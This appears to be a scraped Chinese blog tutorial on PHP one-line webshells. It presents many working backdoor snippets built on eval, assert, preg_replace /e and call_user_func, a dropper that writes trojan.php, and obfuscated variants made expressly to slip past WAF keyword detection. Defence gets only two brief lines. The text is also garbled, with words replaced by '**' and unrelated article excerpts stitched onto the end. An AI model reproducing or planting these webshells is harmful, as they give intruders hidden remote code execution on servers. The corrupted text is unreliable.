一句話木馬就是只需要一行**的木馬,短短一行**,就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函式執行了我們傳送的命令。
我們可以通過get、post、cookie這三種方式向乙個**提交資料,一句話木馬用$_get[' ']、$_post[' ']、$_cookie[' ']
接收我們傳遞的資料,並把接收的資料傳遞給一句話木馬中執行命令的函式,進而執行命令。 所以看到的經典一句話木馬大多都是只有兩個部分,乙個是可以執行**的函式部分,乙個是接收資料的部分。
<?php eval($_post['a']) ?>
其中eval就是執行命令的函式,**$_post[『a』]**就是接收的資料。eval函式把接收的資料當作php**來執行。這樣我們就能夠讓插入了一句話木馬的**執行我們傳遞過去的任意php語句。這便是一句話木馬的強大之處。
因為木馬是接收post請求中 「a」 的資料( $_post[『a』]),所以我們必須以post方法傳送資料並且將我們要執行的**賦值給「a」。如果把木馬中的post替換成get,那麼我麼就需要以get方法傳送「a」,
使用 其他函式製作一句話木馬
<?php assert(@$_post['a']); ?>
<?php
$fun = create_function('',$_post['a']);
$fun();
?>
把使用者傳遞的資料生成乙個函式fun(),然後再執行fun()
<?php
@call_user_func(assert,$_post['a']);
?>
call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第乙個函式,被呼叫的函式的引數是call_user_func的第二個引數。
這樣的乙個語句也可以完成一句話木馬。一些被waf攔截的木馬可以配合這個函式繞過waf。
<?php
@preg_replace("/abcde/e", $_post['a'], "abcdefg");
?>
這個函式原本是利用正規表示式替換符合條件的字串,但是這個函式有乙個功能——可執行命令。
這個函式的第乙個引數是正規表示式,按照php的格式,表示式在兩個「/」之間。如果我們在這個表示式的末尾加上「e」,那麼這個函式的第二個引數就會被當作**執行。
利用函式生成木馬
<?php
$test='<?php $a=$_post["cmd"];assert($a); ?>';
file_put_contents("trojan.php", $test);
?>
函式功能:生成乙個檔案,第乙個引數是檔名,第二個引數是檔案的內容。
<?php
$a='assert';
array_map("$a",$_request);
?>
上述定義引數a並賦值『assert』,利用array_map()函式將執行語句進行拼接。最終實現assert($_request)
。
<?php
$item['jon']='assert';
$array=$item;
$array[0]['jon']($_post["test"]);
?>
利用函式的組合效果,使得多個引數在傳遞後組合成一段命令並執行。
第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名。
waf是**的防火牆,例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截。想要繞過waf,需要掌握各種php小技巧,掌握的技巧多了,把技巧結合起來,設計出屬於自己的一句話木馬。
<?php
$bb="eval";
$aa="bb";
$$aa($_post['a']);
?>
看這句就能理解上述語句:$$aa = (
(aa) = $ (『bb』) = $bb = 「eval」
<?php
$a=str_replace("waldo", "", "ewaldoval");
$a(@$_post['a']);
?>
函式功能:在第三個引數中,查詢第乙個引數,並替換成第二個引數。這裡第二個引數為空字串,就相當於刪除"waldo"。
<?php
$a=base64_decode("zxzhba==")
$a($_post['a']);
?>
這裡是base64解密函式,"zxzhba=="是eval的base64加密。
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_post['a']);
?>
<?php
$str="a=eval";
parse_str($str);
$a($_post['a']);
?>
執行這個函式後,生成乙個變數$a,值為字串"eval"
7.1get篇
<?php $_get[a]($_get[b]); ?>
<?php @eval( $_get[$_get[b]])>
利用方法:
b=cmd&cmd=phpinfo()
7.2利用script代替 、?>標籤
7.3利用session
1.404頁面
2.木馬,用檔案包含呼叫繞過技巧:
tips:使用一句話木馬的時候可以在函式前加」@」符,這個符號讓php語句不顯示錯誤資訊,增加隱蔽性。
1.禁用assert()函式,監控eval()
2.搜尋日誌的assert。
亦可能繞過:
一句話木馬
一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演著強大的作用。一句話木馬 服務端 是用於本地的html提交指令碼木馬檔案 就是我們要用來插入到asp檔案中的asp語句,不僅僅是以asp為字尾的資料庫檔案 該語句將回為觸發,接收入侵者通過客戶端提交的資料,執行並完成相應的操作,服務端的...
webshell之一句話木馬變形
一句話木馬就是只需要一行 的木馬,短短一行 就能做到和大馬相當的功能。為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的 木馬的函式執行了我們傳送的命令。我們如何傳送命令,傳送的命令如何執行?我們可以通過get post cookie 這三種方式向乙個 提交資料,一句話木馬用 get ...
關於一句話木馬
這裡的asp後門不指像那些一句話木馬 砍客 冰狐之類的b s型的,只指像cmd.asp或2005a.asp的。第乙個,來看zzzeva免fso的cmd.asp 如下 是不是覺得有點長了?在注入時寫有點不好寫。那來改一下。第二個,更改zzzeva免fso的cmd.asp 如下 response.wri...